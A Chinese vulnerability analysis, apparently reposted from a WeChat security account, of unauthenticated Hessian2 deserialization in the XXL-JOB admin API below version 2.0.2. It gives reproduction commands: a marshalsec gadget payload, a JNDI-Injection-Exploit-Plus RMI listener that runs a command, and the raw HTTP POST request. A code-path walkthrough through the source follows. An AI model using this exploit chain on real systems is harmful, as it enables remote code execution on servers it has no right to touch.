漏洞分析 | xxl-job前台api未授权Hessian2反序列化
XXL-JOB是一个分布式任务调度平台。Hessian2是一种序列化协议,用于在XXL-JOB前后端之间传输数据。前台API未授权Hessian2反序列化是指,客户端请求XXL-JOB的前台API时,没有提供正确的认证信息,导致服务端无法正确地对请求进行反序列化处理。
0x01 漏洞复现
使用marshalsec生成hessian反序列化数据:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:1099/remoteExploit8 > xxx/xxl-job/cmd.ser项目地址:
https://github.com/mbechler/marshalsec
使用JNDI-Injection-Exploit-Plus监听rmi请求:
java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"项目地址:
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
发送请求包:

数据包:
POST /xxl-job-admin/api HTTP/1.1
Host: 192.168.22.5:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: x-application/hessian
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{{file(xxx/java/xxl-job/cmd.ser)}}0x02 漏洞分析
0x02.1 漏洞搭建
版本小于2.0.2
直接clone源码后修改logback.xml的log.path为本地文件路径,然后导入MySQL文件,直接启动即可:

0x02.2 漏洞分析
根据请求的接口为api查找到对应的Controller为com.xxl.job.admin.controller.JobApiController,@PermessionLimit(limit=false)这里将limit设置为false就不需要鉴权,进入到这里直接进入下一步:

进入
com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService在这里面没有做任何操作:

随后就会进入到
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle中首先判断target是否为/services,不是则会进入
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中对请求进行处理:

进入到
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中首先将请求中的body全部读取出来,读取出来的则会直接进行反序列化操作:

接下来就是查找是那个类进行反序列化操作,主要通过查找XxlRpcProviderFactory这个工厂类在那些地方被初始化,直接使用idea右键的find Usages:

总的就两个地方实例化了这个类:
com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler和com.xxl.job.core.executor.XxlJobExecutor在这两个类中都是调用
com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法对成员变量赋值:

而在
com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法中的第二个参数就是刚才调用的反序列化类,通过工厂类返回给
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest使用:

这里放进去的反序列化类就是com.xxl.rpc.serialize.impl.HessianSerializer ,这里面其实调用的还是Hessian2进行反序列化:


最终在
com.xxl.rpc.serialize.impl.HessianSerializer#deserialize中进行hessian2反序列化操作:

本文章转载微信公众号@杂七杂八聊安全
热门API
- 1. AI文本生成
- 2. AI图片生成_文生图
- 3. AI图片生成_图生图
- 4. AI图像编辑
- 5. AI视频生成_文生视频
- 6. AI视频生成_图生视频
- 7. AI语音合成_文生语音
- 8. AI文本生成(中国)
最新文章
- 9个最佳Text2Sql开源项目:自然语言到SQL的高效转换工具
- 深入解析API网关策略:认证、授权、安全、流量处理与可观测性
- GraphQL API手册:如何构建、测试、使用和记录
- 自助式入职培训服务API:如何让企业管理更上一层楼?
- Python如何调用Jenkins API自动化发布
- 模型压缩四剑客:量化、剪枝、蒸馏、二值化
- 火山引擎如何接入API:从入门到实践的技术指南
- 为什么每个使用 API 的大型企业都需要一个 API 市场来增强其合作伙伴生态系统
- 构建更优质的API:2025年顶级API开发工具推荐 – Strapi
- 外部函数与内存API – Java 22 – 未记录
- FAPI 2.0 深度解析:下一代金融级 API 安全标准与实践指南
- .NET Core 下的 API 网关